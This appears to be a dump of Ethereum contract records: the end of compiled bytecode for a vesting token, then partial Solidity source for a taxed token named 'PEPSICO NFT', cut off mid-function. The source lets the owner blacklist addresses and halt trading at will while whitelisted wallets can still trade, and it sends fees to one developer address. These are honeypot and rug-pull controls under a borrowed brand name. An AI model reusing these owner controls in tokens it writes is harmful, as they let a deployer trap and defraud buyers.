ffffffffffffffff168152602001908152602001600020600061138b6126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561140b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114029061391b565b60405180910390fd5b61141f856114176126cf565b858403612958565b60019150509392505050565b60006012905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114fc6114676126cf565b8484600160006114756126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f79190613ad9565b612958565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115936126cf565b73ffffffffffffffffffffffffffffffffffffffff16146115e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e09061389b565b60405180910390fd5b600060106040516115f99061371a565b908152602001604051809103902060006116116126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008169d3c21bcecceda10000006116669190613bba565b9050808311156116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a2906138bb565b60405180910390fd5b8260106040516116ba9061371a565b908152602001604051809103902060006116d26126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461171b9190613ad9565b925050819055506117343061172e6126cf565b856126d7565b505050565b600e6020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806117bb603c84426117ad9190613bba565b612b2390919063ffffffff16565b905060006010896040516117cf91906136d9565b908152602001604051809103902060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600080891461184f5761184c606461183e8b89612b3990919063ffffffff16565b612b2390919063ffffffff16565b90505b8783101561186d5781816118639190613bba565b935050505061191b565b600061189488611886848a612b4f90919063ffffffff16565b612b2390919063ffffffff16565b9050600089856118a49190613bba565b905060006118cd846118bf8585612b3990919063ffffffff16565b612b6590919063ffffffff16565b90508481116118e5576000965050505050505061191b565b888111156119065784896118f99190613bba565b965050505050505061191b565b84816119129190613bba565b96505050505050505b979650505050505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661198d6126cf565b73ffffffffffffffffffffffffffffffffffffffff16146119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da9061381b565b60405180910390fd5b6000611a436119f06126cf565b6040518060400160405280600381526020017f6c69710000000000000000000000000000000000000000000000000000000000815250602861ab18620402906a05ca4ec2a79a7f67000000600554611799565b905080821115611a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7f906138bb565b60405180910390fd5b816010604051611a9790613705565b90815260200160405180910390206000611aaf6126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611af89190613ad9565b92505081905550611b1130611b0b6126cf565b846126d7565b5050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b566126cf565b73ffffffffffffffffffffffffffffffffffffffff1614611bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba3906139bb565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c316126cf565b73ffffffffffffffffffffffffffffffffffffffff1614611c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7e9061385b565b60405180910390fd5b6000611ce8611c946126cf565b6040518060400160405280600481526020017f7465616d00000000000000000000000000000000000000000000000000000000815250600062040290620d5de16a108b2a2c28029094000000600554611799565b905080821115611d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d24906138bb565b60405180910390fd5b816010604051611d3c90613759565b90815260200160405180910390206000611d546126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d9d9190613ad9565b92505081905550611db630611db06126cf565b846126d7565b5050565b606060048054611dc990613c85565b80601f0160208091040260200160405190810160405280929190818152602001828054611df590613c85565b8015611e425780601f10611e1757610100808354040283529160200191611e42565b820191906000526020600020905b815481529060010190602001808311611e2557829003601f168201915b5050505050905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e8d6126cf565b73ffffffffffffffffffffffffffffffffffffffff1614611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda906138db565b60405180910390fd5b6000611f43611ef06126cf565b6040518060400160405280600981526020017f65636f73797374656d0000000000000000000000000000000000000000000000815250600561ab18620cb2c96a14adf4b7320334b9000000600554611799565b905080821115611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7f906138bb565b60405180910390fd5b816010604051611f9790613744565b90815260200160405180910390206000611faf6126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ff89190613ad9565b925050819055506120113061200b6126cf565b846126d7565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806001600061204a6126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe906139db565b60405180910390fd5b61211b6121126126cf565b85858403612958565b600191505092915050565b600061213a6121336126cf565b84846126d7565b6001905092915050565b60006121e06121516126cf565b6040518060400160405280600b81526020017f7072697661746573616c65000000000000000000000000000000000000000000815250600a6202ac60620c07b1600e600061219d6126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600654611799565b905080821115612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c906138bb565b60405180910390fd5b8160106040516122349061372f565b9081526020016040518091039020600061224c6126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122959190613ad9565b925050819055506122ae306122a86126cf565b846126d7565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166122f36126cf565b73ffffffffffffffffffffffffffffffffffffffff1614612349576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123409061399b565b60405180910390fd5b60006123aa6123566126cf565b6040518060400160405280600781526020017f7265736572766500000000000000000000000000000000000000000000000000815250600062040290620d5de16a108b2a2c28029094000000600554611799565b9050808211156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e6906138bb565b60405180910390fd5b8160106040516123fe9061376e565b908152602001604051809103902060006124166126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461245f9190613ad9565b92505081905550612478306124726126cf565b846126d7565b5050565b600f5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166124e96126cf565b73ffffffffffffffffffffffffffffffffffffffff161461253f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125369061393b565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f60008282546125909190613bba565b9250508190555080600f60008282546125a99190613ad9565b925050819055506a14adf4b7320334b9000000600f541115612600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f79061387b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273e9061395b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ae906137db565b60405180910390fd5b6127c2838383612b7b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283f9061383b565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128db9190613ad9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161293f9190613a1b565b60405180910390a3612952848484612b80565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bf9061397b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2f906137fb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b169190613a1b565b60405180910390a3505050565b60008183612b319190613b2f565b905092915050565b60008183612b479190613b60565b905092915050565b60008183612b5d9190613bba565b905092915050565b60008183612b739190613ad9565b905092915050565b505050565b505050565b6000612b98612b9384613a82565b613a51565b905082815260208101848484011115612bb057600080fd5b612bbb848285613c43565b509392505050565b600081359050612bd281613d84565b92915050565b600082601f830112612be957600080fd5b8135612bf9848260208601612b85565b91505092915050565b600081359050612c1181613d9b565b92915050565b600060208284031215612c2957600080fd5b6000612c3784828501612bc3565b91505092915050565b60008060408385031215612c5357600080fd5b6000612c6185828601612bc3565b9250506020612c7285828601612bc3565b9150509250929050565b60008060008060008060c08789031215612c9557600080fd5b6000612ca389828a01612bc3565b9650506020612cb489828a01612bc3565b9550506040612cc589828a01612bc3565b9450506060612cd689828a01612bc3565b9350506080612ce789828a01612bc3565b92505060a0612cf889828a01612bc3565b9150509295509295509295565b600080600060608486031215612d1a57600080fd5b6000612d2886828701612bc3565b9350506020612d3986828701612bc3565b9250506040612d4a86828701612c02565b9150509250925092565b600080600080600080600060e0888a031215612d6f57600080fd5b6000612d7d8a828b01612bc3565b975050602088013567ffffffffffffffff811115612d9a57600080fd5b612da68a828b01612bd8565b9650506040612db78a828b01612c02565b9550506060612dc88a828b01612c02565b9450506080612dd98a828b01612c02565b93505060a0612dea8a828b01612c02565b92505060c0612dfb8a828b01612c02565b91505092959891949750929550565b60008060408385031215612e1d57600080fd5b6000612e2b85828601612bc3565b9250506020612e3c85828601612c02565b9150509250929050565b60008060408385031215612e5957600080fd5b600083013567ffffffffffffffff811115612e7357600080fd5b612e7f85828601612bd8565b9250506020612e9085828601612bc3565b9150509250929050565b600060208284031215612eac57600080fd5b6000612eba84828501612c02565b91505092915050565b612ecc81613bee565b82525050565b612edb81613c00565b82525050565b6000612eec82613ab2565b612ef68185613abd565b9350612f06818560208601613c52565b612f0f81613d73565b840191505092915050565b6000612f2582613ab2565b612f2f8185613ace565b9350612f3f818560208601613c52565b80840191505092915050565b6000612f58602383613abd565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612fbe600383613ace565b91507f64657800000000000000000000000000000000000000000000000000000000006000830152600382019050919050565b6000612ffe600383613ace565b91507f6c697100000000000000000000000000000000000000000000000000000000006000830152600382019050919050565b600061303e602283613abd565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130a4600a83613ace565b91507f7075626c696373616c65000000000000000000000000000000000000000000006000830152600a82019050919050565b60006130e4602883613abd565b91507f556e617574686f72697a6564206c697175696469747920696e63656e7469766560008301527f732077616c6c65740000000000000000000000000000000000000000000000006020830152604082019050919050565b600061314a602683613abd565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131b0601883613abd565b91507f556e617574686f72697a6564207465616d2077616c6c657400000000000000006000830152602082019050919050565b60006131f0601283613abd565b91507f4d617820616d6f756e74207265616368656400000000000000000000000000006000830152602082019050919050565b6000613230601f83613abd565b91507f556e617574686f72697a6564207075626c69632073616c652077616c6c6574006000830152602082019050919050565b6000613270601883613abd565b91507f576974686472617720616d6f756e7420746f6f206869676800000000000000006000830152602082019050919050565b60006132b0601d83613abd565b91507f556e617574686f72697a65642065636f73797374656d2077616c6c65740000006000830152602082019050919050565b60006132f0600b83613ace565b91507f7072697661746573616c650000000000000000000000000000000000000000006000830152600b82019050919050565b6000613330601b83613abd565b91507f53686f756c64206e6f7420736574207a65726f206164647265737300000000006000830152602082019050919050565b6000613370602883613abd565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006133d6600983613ace565b91507f65636f73797374656d00000000000000000000000000000000000000000000006000830152600982019050919050565b6000613416601f83613abd565b91507f4f6e6c79206f776e65722063616e2073657420627579657220746f6b656e73006000830152602082019050919050565b6000613456602583613abd565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006134bc602483613abd565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613522601c83613abd565b91507f556e617574686f72697a65642072657365727665732077616c6c6574000000006000830152602082019050919050565b6000613562601d83613abd565b91507f4f6e6c79206f776e65722063616e207570646174652077616c6c6574730000006000830152602082019050919050565b60006135a2600483613ace565b91507f7465616d000000000000000000000000000000000000000000000000000000006000830152600482019050919050565b60006135e2600783613ace565b91507f72657365727665000000000000000000000000000000000000000000000000006000830152600782019050919050565b6000613622602583613abd565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613688601783613abd565b91507f556e617574686f72697a6564206465782077616c6c65740000000000000000006000830152602082019050919050565b6136c481613c2c565b82525050565b6136d381613c36565b82525050565b60006136e58284612f1a565b915081905092915050565b60006136fb82612fb1565b9150819050919050565b600061371082612ff1565b9150819050919050565b600061372582613097565b9150819050919050565b600061373a826132e3565b9150819050919050565b600061374f826133c9565b9150819050919050565b600061376482613595565b9150819050919050565b6000613779826135d5565b9150819050919050565b60006020820190506137986000830184612ec3565b92915050565b60006020820190506137b36000830184612ed2565b92915050565b600060208201905081810360008301526137d38184612ee1565b905092915050565b600060208201905081810360008301526137f481612f4b565b9050919050565b6000602082019050818103600083015261381481613031565b9050919050565b60006020820190508181036000830152613834816130d7565b9050919050565b600060208201905081810360008301526138548161313d565b9050919050565b60006020820190508181036000830152613874816131a3565b9050919050565b60006020820190508181036000830152613894816131e3565b9050919050565b600060208201905081810360008301526138b481613223565b9050919050565b600060208201905081810360008301526138d481613263565b9050919050565b600060208201905081810360008301526138f4816132a3565b9050919050565b6000602082019050818103600083015261391481613323565b9050919050565b6000602082019050818103600083015261393481613363565b9050919050565b6000602082019050818103600083015261395481613409565b9050919050565b6000602082019050818103600083015261397481613449565b9050919050565b60006020820190508181036000830152613994816134af565b9050919050565b600060208201905081810360008301526139b481613515565b9050919050565b600060208201905081810360008301526139d481613555565b9050919050565b600060208201905081810360008301526139f481613615565b9050919050565b60006020820190508181036000830152613a148161367b565b9050919050565b6000602082019050613a3060008301846136bb565b92915050565b6000602082019050613a4b60008301846136ca565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613a7857613a77613d44565b5b8060405250919050565b600067ffffffffffffffff821115613a9d57613a9c613d44565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000613ae482613c2c565b9150613aef83613c2c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b2457613b23613cb7565b5b828201905092915050565b6000613b3a82613c2c565b9150613b4583613c2c565b925082613b5557613b54613ce6565b5b828204905092915050565b6000613b6b82613c2c565b9150613b7683613c2c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613baf57613bae613cb7565b5b828202905092915050565b6000613bc582613c2c565b9150613bd083613c2c565b925082821015613be357613be2613cb7565b5b828203905092915050565b6000613bf982613c0c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613c70578082015181840152602081019050613c55565b83811115613c7f576000848401525b50505050565b60006002820490506001821680613c9d57607f821691505b60208210811415613cb157613cb0613d15565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b613d8d81613bee565b8114613d9857600080fd5b50565b613da481613c2c565b8114613daf57600080fd5b5056fea26469706673582212203d72b2129de14afa9bc74af7f53f3a952be4af8d686a22f4c512db83727f80ef64736f6c63430008000033
[ 4 ]
0xF1d1b995B5EFb1f3d93D98763E8CF38866Ea5a31
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // use latest solidity version at time of writing, need not worry about overflow and underflow /// @title ERC20 Contract abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PEPSI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PEPSICO NFT"; string private constant _symbol = "PEPSI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x276ca314CBF8db95d99E81e1C29549A47507dB9d); address payable private _marketingAddress = payable(0x276ca314CBF8db95d99E81e1C29549A47507dB9d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private cooldownEnabled = false; uint256 public _maxTxAmount = 100000000000000 * 10**9; //10 uint256 public _maxWalletSize = 100000000000000 * 10**9; //10 uint256 public _swapTokensAtAmount = 1000000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _developmentAddress = payable(0x276ca314CBF8db95d99E81e1C29549A47507dB9d); _marketingAddress = payable(0x276ca314CBF8db95d99E81e1C29549A47507dB9d); _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount); // _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() 